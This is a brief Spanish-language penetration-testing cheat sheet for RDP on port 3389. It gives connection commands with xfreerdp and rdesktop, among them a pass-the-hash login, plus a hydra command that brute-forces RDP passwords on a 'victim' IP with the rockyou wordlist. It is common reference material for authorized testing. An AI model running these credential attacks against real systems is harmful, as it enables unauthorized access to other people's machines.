3389 - RDP

Conectarnos al cliente

xfreerdp [/d:dominio] /u:<usuario> /p:<password> /v:<IP>
xfreerdp [/d:dominio] /u:<usuario> /pth:<hash> /v:<IP> # con hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>

Fuerza bruta

hydra -l <usuario> -P /usr/share/wordlists/rockyou.txt rdp://<ip victima>